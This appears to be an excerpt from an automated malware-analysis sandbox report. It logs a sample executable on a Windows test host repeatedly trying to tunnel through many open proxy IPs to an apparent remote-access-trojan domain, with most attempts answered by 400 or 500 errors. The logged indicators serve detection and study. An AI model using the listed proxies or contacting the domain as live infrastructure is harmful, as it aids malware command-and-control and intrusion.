Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:46.986198902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.623802900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1928	192.168.2.5	54789	39.109.113.97	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.007514000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.014547110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.014746904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.735773087 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 02:09:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>
Mar 11, 2024 03:30:55.944502115 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 02:09:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1929	192.168.2.5	53707	92.205.110.118	18374	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.008243084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.014549971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.014745951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.108282089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1930	192.168.2.5	55193	138.2.73.157	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.008485079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1931	192.168.2.5	55204	43.155.171.35	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.009929895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1932	192.168.2.5	54866	51.89.173.40	30199	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.012301922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.701998949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.702094078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.592749119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.389576912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.202092886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.092590094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1933	192.168.2.5	55190	109.194.22.61	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.038523912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1934	192.168.2.5	54916	109.86.182.203	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.041832924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.092705011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.202147007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.202289104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1935	192.168.2.5	55218	154.12.178.107	29985	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.155867100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1936	192.168.2.5	55186	196.251.131.38	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.156111956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1937	192.168.2.5	55208	41.111.198.108	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.156984091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.476449966 CET	708	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:47 GMT Server: Apache Content-Length: 532 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1938	192.168.2.5	55219	196.20.125.145	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.157499075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1939	192.168.2.5	55226	104.19.217.219	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.164174080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.324462891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1940	192.168.2.5	55231	104.25.58.39	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.164505005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.325170040 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1941	192.168.2.5	55233	192.163.200.93	35396	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.179229021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1942	192.168.2.5	54963	148.66.130.53	47891	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.273525953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.311337948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.396034002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.400080919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1943	192.168.2.5	51850	60.188.102.225	18080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.273618937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1944	192.168.2.5	55296	185.238.228.240	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.273624897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.428848028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1945	192.168.2.5	55289	162.159.242.159	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.274450064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.436228037 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1946	192.168.2.5	55322	172.67.182.78	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.274869919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.429615974 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1947	192.168.2.5	55346	104.17.171.79	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.278002977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.432636023 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1948	192.168.2.5	55318	192.169.226.96	50578	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

